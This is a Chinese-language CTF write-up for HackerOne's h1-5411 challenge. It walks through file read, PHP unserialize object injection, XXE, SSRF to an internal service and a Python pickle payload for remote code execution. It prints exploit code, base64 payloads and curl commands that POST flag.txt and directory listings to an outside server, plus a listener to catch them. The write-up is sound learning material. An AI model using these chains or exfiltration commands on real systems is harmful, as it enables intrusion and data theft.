H1-5411 CTF通關Write-up
erbbysam和我最近打算挑戰一下HackerOne舉辦的最新的CTF比賽。本文是我們從開始到結束所採取的過程的記錄。
h1-5411 CTF以HackerOne發布的推文作為一個開始:
·https://h1-5411.h1ctf.com/
這個網站允許你選擇MEME模板,頂部文本和底部文本。這會生成一個保存到會話中的MEME,它是一個圖像或txt文件。
生成Meme
POST請求如下所示:
POST /api/generate.php HTTP/1.1
Host: h1-5411.h1ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://h1-5411.h1ctf.com/generate.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 63
Cookie: PHPSESSID=qpvh9cil4heghbjdq6cp4vfbgs
Connection: close
template=template4.txt&type=text&top-text=test&bottom-text=test
template參數可以設置文件名用於MEME生成過程的一部分。
正如你可能猜到的,模板變數很容易產生本地文件讀取(LFR)漏洞。只要將其設置為txt模板,就可以在系統上指定任意文件並獲取其文件內容。這是獲取PHP源代碼的示例:
在這裡,你可以在查看你保存的MEME模板的源代碼:
在從index.php查找到每個文件在include()內包含的所有文件之後,我們最終得到了整個應用程序的源代碼。下一步是弄清楚應用程序中存在哪些漏洞。
在/includes/classes.php文件中,首先看到的事情是開發者故意禁用了XXE保護。
這意味著DOMDocument-> loadXML()容易受到外部實體/DTD的攻擊,並允許我們執行惡意的XXE有效載荷。這裡的問題是,我們如何設置ConfigFile類的config_raw變數。
從/includes/header.php文件中,如果沒有LFR漏洞,你將無法發現下面兩個有趣的文件。
/import_memes_2.0.php/export_memes_2.0.php
每個文件都會向/api/目錄中的同名文件發送POST請求。
/api/import_memes_2.0.php
require_once("../includes/config.php");
if (isset($_FILES["f"])) {
$new_memes = unserialize(base64_decode(
file_get_contents($_FILES["f"]["tmp_name"])));
$_SESSION["memes"] = array_merge($_SESSION["memes"], $new_memes);
}
header("Location: /memes.php");
?>
/api/export_memes_2.0.php
require_once("../includes/config.php");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename="".time()."_export.memepak"");
echo base64_encode(serialize($_SESSION["memes"]));
?>
使用導入API腳本,我們可以使用文件上傳POST請求指定unserialize()的輸入。上傳的反序列化數據將合併到$ _SESSION [「memes」]中,其中保存了所有MEME。
現在我們知道我們可以通過unserialize(對象注入)創建PHP對象,並且知道ConfigFile類中有一個XXE,我們必須弄清楚如何將它們放在一起利用。
ConfigClass有一個魔術方法函數__toString(),只要初始化類並將其視為字元串,它就會被調用。這通常意味著每個分配了類的變數都是echo,print,print_r等。
function __toString() {
$this->parse();
$debug = "";
$debug .= "Debug Info :
";
$debug .= "TopText => {$this->top_text}
";
$debug .= "BottomText => {$this->bottom_text}
";
$debug .= "Template Location => {$this->template}
";
$debug .= "Template Type => {$this->type}
";
return $debug;
}
我們將在進一步解釋攻擊後討論如何觸發漏洞。在__toString()執行鏈之後,我們看到它立即調用了parse()函數。
function parse() {
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
從上面的代碼是可以看到希望的,因為$this-> config_raw被傳遞到易受攻擊的loadXML()函數調用,並且不會被任何靜態覆蓋。這意味著如果我們創建一個反序列化的對象,我們可以指定config_raw變數,它將執行我們的XXE有效載荷。
我們通過刪除此攻擊鏈中涉及的所有代碼來設置一個測試腳本,以便在啟用警告的情況下在本地進行測試。他們的伺服器沒有顯示任何PHP錯誤或警告,這意味著我們對我們遇到的任何潛在障礙完全看不到。
下面的gist就是我們的測試代碼:
·https://gist.githubusercontent.com/ziot/e72c8c45865ea86d9c6aa6975615e839/raw/d0fb09a5a99be0c815c3e854e5b9900f2384b5dd/gistfile1.txt
使用上面的腳本,我們在config_raw中指定了我們的XXE有效載荷後,在新創建的類之上運行了base64_encode(serialize())函數。
示例代碼:
class ConfigFile {
...
}
$test = new ConfigFile("asdf");
$test->config_raw = "%sp;%param1;]>&exfil;";
echo base64_encode(serialize($test));
下一步是使用import_memes腳本上傳它:
·https://h1-5411.h1ctf.com/import_memes_2.0.php
沒有出錯。但是我們遇到一個警告提示,說我們不能將一個數組和一個對象進行array_merge。這是有道理的,回顧/includes/config.php中的代碼,我們可以看到$_SESSION [「memes」]是一個array()並獲取存儲在其中的字元串。
// Start/Resume session
session_start();
// Setup session
if (!isset($_SESSION["memes"])) {
$_SESSION["memes"] = array();
}
因此,為了將我們的對象存儲到$_SESSION [「memes」]中,我們必須將序列化對象包裝在一個數組中。這使事情變得有些複雜,因為我們發現利用toString()方法的唯一方法是在導出腳本上回顯$_SESSION [「memes」]。這意味著我們需要找到一種新方法來執行toString魔術方法。
幸運的是,我們在generate.php文件中發現了這一點。
foreach($_SESSION["memes"] as $meme) {
?>
src="">
}
}
?>
正如你在代碼中看到的那樣,它遍歷$_SESSION [「meme」]數組中的所有項目並通過echo顯示它們。當它擊中存儲在數組中的對象時,它將觸發toString()執行,從而最終執行我們的XXE有效載荷。
以下是使用XXE有效載荷載入file:///etc/passwd的示例:
class ConfigFile {
...
}
$test = new ConfigFile("asdf");
$test->config_raw = "]>dddrrr &foo;";
echo base64_encode(serialize(array($test)));
太棒了!現在確認我們終於成功利用XXE漏洞了。
那我們接下來做什麼呢?我們已經利用了本地文件讀取漏洞,所以接下來的事情可能與此無關。我記得我們在其中一個文件中看到了localhost。XXE使我們能夠執行伺服器端請求偽造,並且由於XML被呈現給用戶,因此它也不是完全看不到的。這就使得我們能夠獲取和查看伺服器的內部網站或服務。
這是/includes/classes.php中的注釋
/* Maintenance service: internal service on localhost, still under development!!
class Maintenance {
function __construct() {
//TODO
}
}
*/
我們開始嘗試各種http:// 來調用localhost,但我們運氣不好。最終我們猜測它可能在一個隨機的埠上,我們的第一個猜測是正確的!我們從查詢http://localhost:1337得到了響應。服務埠是1337。
非盲目性的XXE有效載荷對於發現1337埠和功能至關重要:
[
]> &foo;
請求後將返回如下內容:
內部Meme服務
Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints:
/status - View maintenance status;
/update-status Change maintenance status;
Debug: The debug parameter allows debugging;
哦不,看起來,我們需要解決更多的挑戰。
訪問/狀態/status?debug=1列印出如下信息:
Maintenance mode: off | Debug: KGlhcHAKU3RhdHVzCnAxCihkcDIKUydtZXNzYWdlJwpwMwpTJ01haW50ZW5hbmNlIG1vZGU6IG9mZicKcDQKc1MnbWFpbnRlbmFuY2UnCnA1CkkwMApzYi4=
Base64解碼字元串後我們可以立即識別出它是Python pickle。這本質上是Python的序列化版本,並且具有類似的對象注入漏洞。但是,Python pickle通常會直接導致遠程執行代碼。
(iapp
Status
p1
(dp2
S"message"
p3
S"Maintenance mode: off"
p4
sS"maintenance"
p5
I00
Sb.
因此,我們應該嘗試用「惡意」泡菜來更新狀態!
通過有效形成的泡菜發送到/ update-status?status =&debug = 1導致消息:
A new status has been loaded. Automatic reloading not implemented yet!
不幸的是,對於/status頁面不存在這個漏洞(一個畸形的pickle會顯示錯誤輸出),這意味著我們必須盲目性的發現漏洞,讓這個「惡意」的pickle有效載荷生成器工作!所以我們下一步的策略是使用curl命令:
·https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd
運行下面的命令:
# python pickle.py "curl -X POST -d "|$(cat flag.txt)|" myserver.com"Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==
添加到php payload:
$test->config_raw = "
[
]> &foo;";
要上傳的新mypack文件:
YToxOntpOjA7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czozMTA6Ijw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIHJvb3QNClsNCjwhRU5USVRZIGZvbyBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9aHR0cDovL2xvY2FsaG9zdDoxMzM3L3VwZGF0ZS1zdGF0dXM/c3RhdHVzPVkzQnZjMmw0Q25ONWMzUmxiUXB3TVFvb1V5ZGpkWEpzSUMxWUlGQlBVMVFnTFdRZ0lud2tLR05oZENCbWJHRm5MblI0ZENsOElpQnRlWE5sY25abGNpNWpiMjBuQ25BeUNuUlNjRE1LTGc9PSZkZWJ1Zz0xIj4NCl0+PHRlc3Q+PHRvcHRleHQ+ICZmb287PC90b3B0ZXh0PjwvdGVzdD4iO319
再次訪問memes.php時,只需使用簡單的tornado監聽器來獲取POST響應即可:
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def post(self):
print self.request.body
def make_app():
return tornado.web.Application([
(r"/.*", MainHandler),
])
if __name__ == "__main__":
app = make_app()
app.listen(80)
tornado.ioloop.IOLoop.current().start()
使用此方法查看文件系統(「python pickle.py"curl -X POST -d」| $(ls -lath)|「myserver.com」)會產生下面的結果:
total 36K
drwxr-xr-x 1 root root 4.0K Sep 26 16:20 ..
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 .
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 static
-rw-r--r-- 1 maintenance maintenance 1.7K Sep 23 19:28 app.py
-rw-r--r-- 1 maintenance maintenance 3.4K Sep 23 19:11 app.pyc
-rw-r--r-- 1 maintenance maintenance 150 Sep 23 19:07 flag.txt
-rw-r--r-- 1 maintenance maintenance 14 Sep 18 17:50 requirements.txt
-rw-r--r-- 1 maintenance maintenance 89 Sep 18 17:50 status.pickle
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 18 17:50 templates
獲取Flag
使用此方法查看flag.txt(「python pickle.py"curl -X POST -d」| $(cat flag.txt)|「myserver.com」)顯示了如下內容:
Yay! Here is your flag:
flag
Go to https://hackerone.com/h1-5411-ctf and submit your writeup!
最終的利用源代碼
$qqq= array("test", "abc");
class ConfigFile {
function __construct($url) {
$this->config_raw = $url;//file_get_contents($url);
}
function parse() {
echo "
DEBUG: parse() hit (current config_raw = ".htmlspecialchars($this->config_raw)." )
";
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
function generate() {
$this->parse();
$meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder";
if ($this->type == IMAGE) {
if (@is_array(getimagesize($this->path))) {
$meme_path = MEMES_FOLDER . $filename . ".jpg";
$args = array(
"top_text" => $top_text,
"bottom_text" => $bottom_text,
"filename" => $meme_path,
"font" => FONT_BASE,
"memebase" => $this->path,
"textsize" => 40,
"textfit" => true,
"padding" => 10,
);
memegen_build_image($args);
}
}
if ($this->type == TEXT) {
if (!@is_array(getimagesize($this->path))) {
$contents = file_get_contents($this->path);
$meme = " " . strtoupper($top_text) . "
" . $contents . "
" . strtoupper($bottom_text);
$meme_path = MEMES_FOLDER . $filename . ".txt";
file_put_contents($meme_path, $meme);
}
}
return $meme_path;
}
function __toString() {
echo "
DEBUG: toString() hit
";
$this->parse();
$debug = "";
$debug .= "Debug Info :
";
$debug .= "TopText => {$this->top_text}
";
$debug .= "BottomText => {$this->bottom_text}
";
$debug .= "Template Location => {$this->template}
";
$debug .= "Template Type => {$this->type}
";
return $debug;
}
}
$test = new ConfigFile("asdf");
$test->config_raw = "
[
]> &foo;";
$serialized = base64_encode(serialize(array($test)));
// test to make sure array_merge still works
$new_memes = unserialize(base64_decode($serialized));
$qqq = array_merge($qqq, $new_memes);
// print it
echo $serialized;
?
※俄羅斯APT組織——Turla新面孔
※GandCrab勒索軟體的最新版本中開始引入加密和混淆功能
TAG:嘶吼RoarTalk |